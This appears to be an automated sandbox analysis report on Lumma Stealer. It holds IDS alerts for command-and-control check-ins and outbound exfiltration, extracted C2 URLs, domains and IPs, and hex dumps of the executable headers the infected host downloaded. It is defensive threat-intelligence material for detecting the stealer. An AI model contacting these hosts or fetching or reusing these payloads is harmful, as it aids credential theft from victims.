Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49872 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50074 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49996 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49996 -> 172.67.155.248:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50087 -> 172.67.155.248:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 03:12:09 GMTContent-Type: application/octet-streamContent-Length: 4370944Last-Modified: Fri, 22 Nov 2024 01:05:29 GMTConnection: keep-aliveETag: "673fd8d9-42b200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 d0 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 c4 00 00 04 00 00 b0 39 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 be c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 be c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6e 71 63 70 6f 65 74 00 00 1b 00 00 c0 a8 00 00 00 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6d 77 73 61 71 77 69 00 10 00 00 00 c0 c3 00 00 04 00 00 00 8c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 c3 00 00 22 00 00 00 90 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 03:12:25 GMTContent-Type: application/octet-streamContent-Length: 1826816Last-Modified: Fri, 22 Nov 2024 03:08:12 GMTConnection: keep-aliveETag: "673ff59c-1be000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 61 a8 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 29 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 79 69 66 71 77 75 78 00 40 19 00 00 30 2f 00 00 40 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 7a 6a 79 62 66 75 6d 00 10 00 00 00 70 48 00 00 06 00 00 00 b8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 48 00 00 22 00 00 00 be 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 03:12:34 GMTContent-Type: application/octet-streamContent-Length: 1731584Last-Modified: Fri, 22 Nov 2024 03:08:19 GMTConnection: keep-aliveETag: "673ff5a3-1a6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 40 66 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 66 00 00 04 00 00 98 62 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 28 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 71 74 74 69 64 69 79 00 d0 18 00 00 60 4d 00 00 cc 18 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 78 67 78 66 63 69 6a 00 10 00 00 00 30 66 00 00 06 00 00 00 44 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 66 00 00 22 00 00 00 4a 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 03:12:43 GMTContent-Type: application/octet-streamContent-Length: 921600Last-Modified: Fri, 22 Nov 2024 03:06:26 GMTConnection: keep-aliveETag: "673ff532-e1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 2a f5 3f 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 60 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 e7 55 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 a8 a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 a5 00 00 00 40 0d 00 00 a6 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9a 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 03:12:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 03:12:50 GMTContent-Type: application/octet-streamContent-Length: 2721792Last-Modified: Fri, 22 Nov 2024 03:06:52 GMTConnection: keep-aliveETag: "673ff54c-298800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 05 bd 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6a 64 64 79 74 78 75 00 40 29 00 00 a0 00 00 00 28 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 65 66 78 78 62 69 7a 00 20 00 00 00 e0 29 00 00 04 00 00 00 62 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2a 00 00 22 00 00 00 66 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 03:13:21 GMTContent-Type: application/octet-streamContent-Length: 2721792Last-Modified: Fri, 22 Nov 2024 03:06:55 GMTConnection: keep-aliveETag: "673ff54f-298800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 05 bd 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6a 64 64 79 74 78 75 00 40 29 00 00 a0 00 00 00 28 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 65 66 78 78 62 69 7a 00 20 00 00 00 e0 29 00 00 04 00 00 00 62 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2a 00 00 22 00 00 00 66 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 